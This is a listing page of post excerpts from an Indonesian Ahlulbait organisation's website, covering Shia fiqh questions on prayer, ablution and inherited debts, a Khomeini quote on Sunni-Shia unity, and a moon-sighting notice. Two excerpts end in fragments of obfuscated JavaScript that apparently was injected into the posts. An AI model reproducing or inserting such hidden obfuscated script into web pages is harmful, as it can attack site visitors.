Situs Resmi Komisi Bimbingan dan Dakwah Dewan Syura Ahlulbait Indonesia (ABI)
HomeView All Posts (Page 147)

View All Posts

Sesungguhnya tangan-tangan keji yang menyemai perselisihan di antara kelompok Syiah dan Sunnah, bukanlah Sunni atau pun Syi'i, melainkan tangan-tangan kolonialis yang hendak merampas kekayaan negeri Islam. (Sahifah Imam Khomeini, j. 1, h. 373 - 395) [*] Baca: Persatuan Sunni-Syiah Dalam Perspektif Imam Khomeini https://youtu.be/jbSavagNo_U function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function

TANYA: Assalamu'alaikum. Saya melihat cara Imam Khamenei salat di Youtube, setelah tasyahud akhir/salam mengangkat tangan 3 kali. Dalam buku terjemahan fikih (Daras Fikih) beliau tidak ditemukan mengenai hal itu. Mohon penjelasannya. Terima kasih. JAWAB: 'Alaikumussalam warahmatullah. Lafadz takbir tiga kali sembari mengangkat tangan usai mengucapkan salam adalah sunnah hukumnya. Buku

TANYA: Assalamu'alaikum. Bagaimana jika kaki yang hendak diusap saat berwudhu, tidak dalam kondisi kering, yakni sudah terkena cipratan air kran ketika membasuh tangan? Terima kasih. JAWAB: Alaikumussalam wr, kaki tersebut harus diusap dengan kain atau sejenisnya sehingga kering atau sekurangnya tidak berair. [*] Baca Fikih Quest 5: Basuhan dalam Berwudu https://www.youtube.com/watch?v=ypscRguYnpA function

TANYA: Assalamu'alaikum ustaz. Terkait utang piutang orang tua yang sudah meninggal, apakah diharuskan anaknya melunasi langsung atau dicicil? Dan adakah fikih mengenai utang piutang orang tua yang sudah meninggal? Terimakasih. JAWAB: 'Alaikumussalam warahmatullah. Seseorang yang meninggal dunia dan masih memiliki utang-piutang, maka anak-anaknya sebagai ahli waris berkewajiban untuk menyelesaikannya. Semua

Bismillahirrahmanirrahim Allahumma shalli alaa Muhammad wa Aali Muhammad Berdasarkan berbagai kriteria visibilitas hilal, prediksi Markaz al-Islam al-Ashil tentang ketidakmungkinan terlihatnya hilal di seluruh wilayah Tanah Air dan kesaksian Tim Rukyatul Hilal Lembaga Falak AHLULBAIT INDONESIA yang melakukan istihlal pada hari ini, Senin (28/10/19), yang bertepatan dengan 29

TANYA: Assalamu'alaikum ustaz. Apakah salat seorang musafir wajib diganti, apabila kita bermakmum salat berjamaah bersama Ahlussunnah? JAWAB:  'Alaikumussalam warahmatullah. Tidak ada kewajiban untuk mengganti salat yang kita lakukan dengan cara berjamaah bersama ahlussunnah. Baik dalam keadaan musafir atau tidak, dengan syarat -jika memungkinkan- tetap melakukan sesuai dengan fikih Ahlul Bait